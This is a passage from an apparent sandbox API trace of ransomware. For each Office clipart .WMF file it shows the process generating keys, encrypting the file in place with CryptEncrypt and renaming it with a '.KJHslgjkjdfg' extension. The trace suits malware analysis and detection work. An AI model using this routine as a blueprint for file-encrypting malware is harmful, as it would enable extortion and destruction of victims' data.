lpOverlapped=0x0) returned 1 [0172.912] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.912] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.912] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.912] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.912] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.912] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5c78, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5c78, lpOverlapped=0x0) returned 1 [0172.913] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c80, dwBufLen=0x5c80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c80) returned 1 [0172.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.913] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5c80, lpOverlapped=0x0) returned 1 [0172.913] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.913] SetEndOfFile (hFile=0x114) returned 1 [0172.916] GetProcessHeap () returned 0x2a0000 [0172.916] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.916] GetProcessHeap () returned 0x2a0000 [0172.916] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.kjhslgjkjdfg")) returned 1 [0172.917] CloseHandle (hObject=0x114) returned 1 [0172.917] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1 [0172.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.917] GetProcessHeap () returned 0x2a0000 [0172.917] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.918] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.918] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.918] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.922] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.922] GetProcessHeap () returned 0x2a0000 [0172.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.922] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.922] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.922] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.922] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.923] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.923] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.923] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.923] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.923] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f1c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f1c, lpOverlapped=0x0) returned 1 [0172.924] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f20) returned 1 [0172.924] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.924] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f20, lpOverlapped=0x0) returned 1 [0172.924] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.924] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.924] SetEndOfFile (hFile=0x114) returned 1 [0172.926] GetProcessHeap () returned 0x2a0000 [0172.926] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.926] GetProcessHeap () returned 0x2a0000 [0172.926] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.kjhslgjkjdfg")) returned 1 [0172.927] CloseHandle (hObject=0x114) returned 1 [0172.927] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1 [0172.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.928] GetProcessHeap () returned 0x2a0000 [0172.928] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.928] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.928] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.930] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.930] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.931] GetProcessHeap () returned 0x2a0000 [0172.931] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.931] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.931] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.931] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.931] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.931] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.931] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.931] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.931] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.931] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.931] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40cc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x40cc, lpOverlapped=0x0) returned 1 [0172.932] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x40d0, dwBufLen=0x40d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x40d0) returned 1 [0172.932] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.933] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x40d0, lpOverlapped=0x0) returned 1 [0172.933] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.933] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x41a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.933] SetEndOfFile (hFile=0x114) returned 1 [0172.935] GetProcessHeap () returned 0x2a0000 [0172.935] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.935] GetProcessHeap () returned 0x2a0000 [0172.935] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.kjhslgjkjdfg")) returned 1 [0172.936] CloseHandle (hObject=0x114) returned 1 [0172.936] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1 [0172.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.937] GetProcessHeap () returned 0x2a0000 [0172.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.937] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.937] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.939] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.939] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.939] GetProcessHeap () returned 0x2a0000 [0172.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.939] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.939] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.939] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.939] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.939] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.939] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.940] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.940] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.940] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.940] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.940] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2ce4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2ce4, lpOverlapped=0x0) returned 1 [0172.941] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2cf0) returned 1 [0172.941] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.941] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2cf0, lpOverlapped=0x0) returned 1 [0172.941] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.941] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.941] SetEndOfFile (hFile=0x114) returned 1 [0172.943] GetProcessHeap () returned 0x2a0000 [0172.943] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.943] GetProcessHeap () returned 0x2a0000 [0172.943] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.kjhslgjkjdfg")) returned 1 [0172.944] CloseHandle (hObject=0x114) returned 1 [0172.944] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1 [0172.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.945] GetProcessHeap () returned 0x2a0000 [0172.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.945] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.945] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.945] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.945] GetProcessHeap () returned 0x2a0000 [0172.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.945] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.945] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.945] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.947] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.947] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.947] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.947] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.947] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.947] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.947] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7680, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7680, lpOverlapped=0x0) returned 1 [0172.949] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7680, dwBufLen=0x7680 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7680) returned 1 [0172.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.949] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7680, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, 